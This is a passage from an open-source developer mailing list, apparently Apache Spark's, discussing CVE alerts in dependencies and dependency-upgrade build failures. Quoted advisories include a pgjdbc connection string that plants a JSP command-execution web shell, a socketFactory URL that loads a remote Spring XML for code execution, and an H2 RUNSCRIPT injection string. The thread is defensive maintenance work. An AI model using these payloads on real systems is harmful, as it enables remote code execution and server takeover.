Re: Security issues in Spark's dependents. #Great first time issues.

[Steve Loughran <st...@cloudera.com.INVALID>]

protobuf library updates break all code precompiled against previous
releases, so traumatic. recent hadoop releases move to an internal shaded
version, but it;s still a 2.5 release; sounds like it needs looking at

bouncy castle has proven "fussy" in the past, with spark builds being one
of the troublespots. now that ASM is updated it may work. and hadoop is
going to update to 1.70 anyway, so you may as well start early.
(HADOOP-17563)

on that note, spark doesn't build spark sql on trunk with a complaint about

mvn clean install -DskipTests  -Phadoop-cloud,yarn
-Dmaven.javadoc.skip=true -Dhadoop.version=3.4.0-SNAPSHOT

and a faillure arrives of

[ERROR] Failed to execute goal
net.alchim31.maven:scala-maven-plugin:4.3.0:testCompile
(scala-test-compile-first) on project spark-sql_2.12: Execution
scala-test-compile-first of goal
net.alchim31.maven:scala-maven-plugin:4.3.0:testCompile failed: A required
class was missing while executing
net.alchim31.maven:scala-maven-plugin:4.3.0:testCompile:
org/bouncycastle/jce/provider/BouncyCastleProvider
[ERROR] -----------------------------------------------------
[ERROR] realm =    plugin>net.alchim31.maven:scala-maven-plugin:4.3.0

i"m assuming somehow the spark-sql module uses bouncy castle but it has
been stripped off an export from hadoop (it hasn't though), and there is no
direct reference to the library in the module.

thoughts? ideally more positive ones than "your classpath is broken"

steve




On Sat, 19 Feb 2022 at 22:37, Sean Owen <sr...@gmail.com> wrote:

> Repeating the usual advice when someone does this: generally, it isn't
> super helpful to dump this kind of list without any analysis. Static
> analysis can only tell you that some dependency has some issue, but does
> not tell you whether it actually matters to Spark.
>
> Of course, if updating a dependency is trivial, better safe than sorry,
> and PRs to upgrade dependencies "just in case" are welcome if there is no
> meaningful downside.
> However, sometimes there is. Some of these dependency updates would break
> Spark or its dependencies, or user applications.
> Whether the security issue has an effect, how much it changes Spark or app
> behavior, is often not clear, so it's a judgment call.
>
> So instead, could you please --
> - Identify any dependency issues that you believe could possibly affect
> Spark (ex: H2-related items here should not be relevant to Spark, at a
> glance)
> - Check whether the dependency is already updated in master first, or
> search open PRs / JIRAs to see if it's in progress (ex: libthrift is being
> updated now)
> - Send around _that_ list rather than screenshots
> - Optionally: try a fix. Change it and run tests, or open pull requests to
> see if the change breaks something in an obvious way
>
>
>
> On Sat, Feb 19, 2022 at 3:38 PM Bjørn Jørgensen <bj...@gmail.com>
> wrote:
>
>> First of all, I have to point out that I haveN'T found a security issue
>> with Spark's code. But some of your dependents have well known security
>> issues.
>> How this CVS's affects us, I don't know. Some of them might affect us and
>> some don't.
>>
>> For many users security is a big issue today and some are asking
>> questions about it on user@spark.org.
>>
>> Yesterday I enabled Github's Code scanning alerts with CodeQL Analysis by
>> Github on master.
>> As this picture shows, there are 11 well known security risks in master.
>>
>> Some of these issues are great for first time contributors. So if you are
>> a reader of dev@spark.org and want to contribute.
>> Now you have the chance to take one or more of these issues that have
>> been built and tested ok. These are numbers 2, 5, 6, and 8.
>> You will have to read the guid at spark.apache.org/contributing.html,
>> open a JIRA ticket, do the fix, push the PR to master.
>>
>> [image: 5b640930-9d93-4cd4-82e9-9dd57b1df025.png]
>> Github's CodeQL Analysis opens then some PR's for them.
>>
>> [image: image.png]
>>
>>
>>
>> 1. Bump protobuf-java from 2.5.0 to 3.16.1
>>
>> [image: image.png]
>>
>> [image: image.png]
>> This won't build
>> [image: image.png]
>>
>> '\''./dev/test-dependencies.sh --replace-manifest'\''.'
>>
>> A potential Denial of Service issue in protobuf-java
>> Summary
>>
>> A potential Denial of Service issue in protobuf-java was discovered in
>> the parsing procedure for binary data.
>>
>> Reporter: OSS-Fuzz <https://github.com/google/oss-fuzz>
>>
>> Affected versions: All versions of Java Protobufs (including Kotlin and
>> JRuby) prior to the versions listed below. Protobuf "javalite" users
>> (typically Android) are not affected.
>> Severity
>>
>> CVE-2021-22569
>> <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569> High -
>> CVSS Score: 7.5, An implementation weakness in how unknown fields are
>> parsed in Java. A small (~800 KB) malicious payload can occupy the parser
>> for several minutes by creating large numbers of short-lived objects that
>> cause frequent, repeated GC pauses.
>> Proof of Concept
>>
>> For reproduction details, please refer to the oss-fuzz issue that
>> identifies the specific inputs that exercise this parsing weakness.
>> Remediation and Mitigation
>>
>> Please update to the latest available versions of the following packages:
>>
>>    - protobuf-java (3.16.1, 3.18.2, 3.19.2)
>>    - protobuf-kotlin (3.18.2, 3.19.2)
>>    - google-protobuf [JRuby gem only] (3.19.2)
>>
>>
>> Severity
>> High
>> 7.5
>> / 10
>>
>> Weaknesses
>> CWE-696
>> CVE ID
>> CVE-2021-22569
>> GHSA ID
>> GHSA-wrvw-hg22-4m67
>>
>>
>>
>> 2. Bump postgresql from 42.3.0 to 42.3.3
>>
>> [image: image.png]
>>
>> [image: image.png]
>>
>> Arbitrary File Write Vulnerability
>>
>> Overview
>>
>> The connection properties for configuring a pgjdbc connection are not
>> meant to be exposed to an unauthenticated attacker. While allowing an
>> attacker to specify arbitrary connection properties could lead to a
>> compromise of a system, that's a defect of an application that allows
>> unauthenticated attackers that level of control.
>>
>> It's not the job of the pgjdbc driver to decide whether a given log file
>> location is acceptable. End user applications that use the pgjdbc driver
>> must ensure that filenames are valid and restrict unauthenticated attackers
>> from being able to supply arbitrary values. That's not specific to the
>> pgjdbc driver either, it would be true for any library that can write to
>> the application's local file system.
>>
>> While we do not consider this a security issue with the driver, we have
>> decided to remove the loggerFile and loggerLevel connection properties in
>> the next release of the driver. Removal of those properties does not make
>> exposing the JDBC URL or connection properties to an attacker safe and we
>> continue to suggest that applications do not allow untrusted users to
>> specify arbitrary connection properties. We are removing them to prevent
>> misuse and their functionality can be delegated to java.util.logging.
>>
>> If you identify an application that allows remote users to specify a
>> complete JDBC URL or properties without validating it's contents, we
>> encourage you to notify the application owner as that may be a security
>> defect in that specific application.
>> Impact
>>
>> It is possible to specify an arbitrary filename in the loggerFileName
>> connection parameter
>>
>> "jdbc:postgresql://localhost:5432/test?user=test&password=test&loggerLevel=DEBUG&loggerFile=./blah.jsp&<%Runtime.getRuntime().exec(request.getParameter("i"));%>"
>>
>> This creates a valid JSP file which could lead to a Remote Code Execution
>> Patches
>>
>> Problem has been resolved in version 42.3.3
>> Workarounds
>>
>> sanitize the inputs to the driver
>>
>>
>> Severity
>> Moderate
>>
>> Weaknesses
>> No CWEs
>> CVE ID
>> No CVE
>> GHSA ID
>> GHSA-673j-qm5f-xpv8
>>
>>
>> 3. Unchecked Class Instantiation when providing Plugin Classes
>> org.postgresql:postgresql (Maven) · pom.xml
>> <https://github.com/bjornjorgensen/spark/blob/-/pom.xml>
>>
>> Impact
>>
>> pgjdbc instantiates plugin instances based on class names provided via
>> authenticationPluginClassName, sslhostnameverifier, socketFactory,
>> sslfactory, sslpasswordcallback connection properties.
>>
>> However, the driver did not verify if the class implements the expected
>> interface before instantiating the class.
>>
>> Here's an example attack using an out-of-the-box class from Spring
>> Framework:
>>
>> DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");
>>
>> The first impacted version is REL9.4.1208 (it introduced socketFactory connection
>> property)
>>
>>
>> Severity
>> High
>> 7.0
>> / 10
>>
>> Weaknesses
>> CWE-74CWE-668
>> CVE ID
>> CVE-2022-21724
>> GHSA ID
>> GHSA-v7wg-cpwc-24m4
>>
>>
>>
>> 4. Bump libthrift from 0.12.0 to 0.14.0
>>
>> [image: image.png]
>>
>>
>> [image: image.png]
>> This won't build there are multiply errors:
>>
>> '\''./dev/test-dependencies.sh --replace-manifest'\''.'
>> and
>>
>> [error]
>> /home/runner/work/spark/spark/sql/hive-thriftserver/src/main/java/org/apache/hive/service/cli/thrift/ThriftCLIService.java:76:1:
>>  error: ThriftCLIServerContext is not abstract and does not override
>> abstract method isWrapperFor(Class<?>) in ServerContext
>> [error]   static class ThriftCLIServerContext implements ServerContext {
>> [error]          ^
>> [error]
>> /home/runner/work/spark/spark/sql/hive-thriftserver/src/main/java/org/apache/hive/service/auth/TSetIpAddressProcessor.java:48:1:
>>  error: process(TProtocol,TProtocol) in TSetIpAddressProcessor cannot
>> implement process(TProtocol,TProtocol) in TProcessor
>> [error]   public boolean process(final TProtocol in, final TProtocol out)
>> throws TException {
>> [error]                  ^  return type boolean is not compatible with
>> void
>> [error]
>> /home/runner/work/spark/spark/sql/hive-thriftserver/src/main/java/org/apache/hive/service/auth/TSetIpAddressProcessor.java:47:1:
>>  error: method does not override or implement a method from a supertype
>> [error]   @Override
>> [error]   ^
>> [error]
>> /home/runner/work/spark/spark/sql/hive-thriftserver/src/main/java/org/apache/hive/service/auth/TSetIpAddressProcessor.java:52:1:
>>  error: incompatible types: void cannot be converted to boolean
>> [error]       return super.process(in, out);
>> [error]                           ^
>> [error]
>> /home/runner/work/spark/spark/sql/hive-thriftserver/src/main/java/org/apache/hive/service/cli/thrift/ThriftBinaryCLIService.java:101:1:
>>  error: cannot find symbol
>> [error]
>> .requestTimeout(requestTimeout).requestTimeoutUnit(TimeUnit.SECONDS)
>> [error]           ^  symbol:   method requestTimeout(int)
>> [error]   location: class Args
>> [error] Note: Some input files use or override a deprecated API.
>> [error] Note: Recompile with -Xlint:deprecation for details.
>> [error] 5 errors
>>
>> Uncontrolled Resource Consumption in Apache Thrift
>>
>> In Apache Thrift 0.9.3 to 0.13.0, malicious RPC clients could send short
>> messages which would result in a large memory allocation, potentially
>> leading to denial of service.
>>
>> Severity
>> High
>> 7.5
>> / 10
>>
>> Weaknesses
>> CWE-400
>> CVE ID
>> CVE-2020-13949
>> GHSA ID
>> GHSA-g2fg-mr77-6vrm
>>
>>
>>
>> 5. Bump bcprov-jdk15on from 1.60 to 1.67
>>
>> [image: image.png]
>>
>> [image: image.png]
>>
>> Timing based private key exposure in Bouncy Castle
>>
>> Bouncy Castle BC Java before 1.66, BC C# .NET before 1.8.7, BC-FJA before
>> 1.0.2.1, BC before 1.66, BC-FNA before 1.0.1.1 have a timing issue within
>> the EC math library that can expose information about the private key when
>> an attacker is able to observe timing information for the generation of
>> multiple deterministic ECDSA signatures.
>> Severity
>> Moderate
>> 5.1
>> / 10
>>
>> Weaknesses
>> CWE-203CWE-362
>> CVE ID
>> CVE-2020-15522
>> GHSA ID
>> GHSA-6xx3-rg99-gc3p
>>
>>
>> 6. H2 has two knowing CSV's.
>>
>> [image: image.png]
>>
>> [image: image.png]
>>
>>
>> Arbitrary code execution in H2 Console
>> H2 Console before 2.1.210 allows remote attackers to execute arbitrary
>> code via a jdbc:h2:mem JDBC URL containing the
>> IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT
>> substring, a different vulnerability than CVE-2021-42392
>> <https://github.com/advisories/GHSA-h376-j262-vhq6>.
>>
>> Severity
>> Critical
>> 9.8
>> / 10
>>
>>
>> Weaknesses
>> CWE-94
>> CVE ID
>> CVE-2022-23221
>>
>>
>>
>> 7. RCE in H2 Console
>>
>> Impact
>>
>> H2 Console in versions since 1.1.100 (2008-10-14) to 2.0.204 (2021-12-21)
>> inclusive allows loading of custom classes from remote servers through JNDI.
>>
>> H2 Console doesn't accept remote connections by default. If remote access
>> was enabled explicitly and some protection method (such as security
>> constraint) wasn't set, an intruder can load own custom class and execute
>> its code in a process with H2 Console (H2 Server process or a web server
>> with H2 Console servlet).
>>
>> It is also possible to load them by creation a linked table in these
>> versions, but it requires ADMIN privileges and user with ADMIN privileges
>> has full access to the Java process by design. These privileges should
>> never be granted to untrusted users.
>> Patches
>>
>> Since version 2.0.206 H2 Console and linked tables explicitly forbid
>> attempts to specify LDAP URLs for JNDI. Only local data sources can be used.
>> Workarounds
>>
>> H2 Console should never be available to untrusted users.
>>
>> -webAllowOthers is a dangerous setting that should be avoided.
>>
>> H2 Console Servlet deployed on a web server can be protected with a
>> security constraint:
>> https://h2database.com/html/tutorial.html#usingH2ConsoleServlet
>> If webAllowOthers is specified, you need to uncomment and edit
>> <security-role> and <security-constraint> as necessary. See
>> documentation of your web server for more details.
>> References
>>
>> This issue was found and privately reported to H2 team by JFrog Security
>> <https://www.jfrog.com/>'s vulnerability research team with detailed
>> information.
>>
>>
>> Severity
>> Critical
>> 9.8
>> / 10
>>
>> Weaknesses
>> CWE-502
>> CVE ID
>> CVE-2021-42392
>>
>>
>> 8. Bump ansi-regex from 5.0.0 to 5.0.1 in /dev
>>
>> [image: image.png]
>>
>> [image: image.png]
>>
>> "integrity":
>> "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
>>
>>
>>
>> Inefficient Regular Expression Complexity in chalk/ansi-regex
>>
>> ansi-regex is vulnerable to Inefficient Regular Expression Complexity
>>
>> Severity
>> Moderate
>> Weaknesses
>> CWE-918CWE-1333
>> CVE ID
>> CVE-2021-3807
>>
>>
>> 9. Google Guava has two knowing CSV's.
>>
>> Information Disclosure in Guava
>> com.google.guava:guava (Maven) · pom.xml
>> <https://github.com/bjornjorgensen/spark/blob/-/pom.xml>
>>
>> A temp directory creation vulnerability exists in all Guava versions
>> allowing an attacker with access to the machine to potentially access data
>> in a temporary directory created by the Guava
>> com.google.common.io.Files.createTempDir(). The permissions granted to
>> the directory created default to the standard unix-like /tmp ones, leaving
>> the files open. We recommend explicitly changing the permissions after the
>> creation of the directory, or removing uses of the vulnerable method.
>>
>> Affected versions <= 29.0
>>
>> Severity
>> Low
>> 3.3
>> / 10
>>
>> Weaknesses
>> CWE-173CWE-200CWE-732
>> CVE ID
>> CVE-2020-8908
>> GHSA ID
>> GHSA-5mg8-w23w-74h3
>>
>>
>> 10. Denial of Service in Google Guava
>> com.google.guava:guava (Maven) · pom.xml
>> <https://github.com/bjornjorgensen/spark/blob/-/pom.xml>
>> Affected versions > 11.0, < 24.1.1
>> Patched version 24.1.1
>>
>> Unbounded memory allocation in Google Guava 11.0 through 24.x before
>> 24.1.1 allows remote attackers to conduct denial of service attacks against
>> servers that depend on this library and deserialize attacker-provided data,
>> because the AtomicDoubleArray class (when serialized with Java
>> serialization) and the CompoundOrdering class (when serialized with GWT
>> serialization) perform eager allocation without appropriate checks on what
>> a client has sent and whether the data size is reasonable.
>>
>> Severity
>> Moderate
>> 5.9
>> / 10
>>
>> Weaknesses
>> CWE-502CWE-770
>> CVE ID
>> CVE-2018-10237
>> GHSA ID
>> GHSA-mvr2-9pj6-7w5j
>>
>>
>>
>> 11. Improper Restriction of XML External Entity Reference in
>> jackson-mapper-asl
>> org.codehaus.jackson:jackson-mapper-asl (Maven) · pom.xml
>> <https://github.com/bjornjorgensen/spark/blob/-/pom.xml>
>> Affected versions <= 1.9.13
>>
>> A flaw was found in org.codehaus.jackson:jackson-mapper-asl:1.9.x
>> libraries. XML external entity vulnerabilities similar to CVE-2016-3720
>> <https://github.com/advisories/GHSA-hmq6-frv3-4727> also affects
>> codehaus jackson-mapper-asl libraries but in different classes.
>>
>> Severity
>> High
>> 7.5
>> / 10
>> Weaknesses
>> CWE-611
>> CVE ID
>> CVE-2019-10172
>> GHSA ID
>> GHSA-r6j9-8759-g62w
>>
>> --
>> Bjørn Jørgensen
>> Vestre Aspehaug 4, 6010 Ålesund
>> Norge
>>
>> +47 480 94 297
>>
>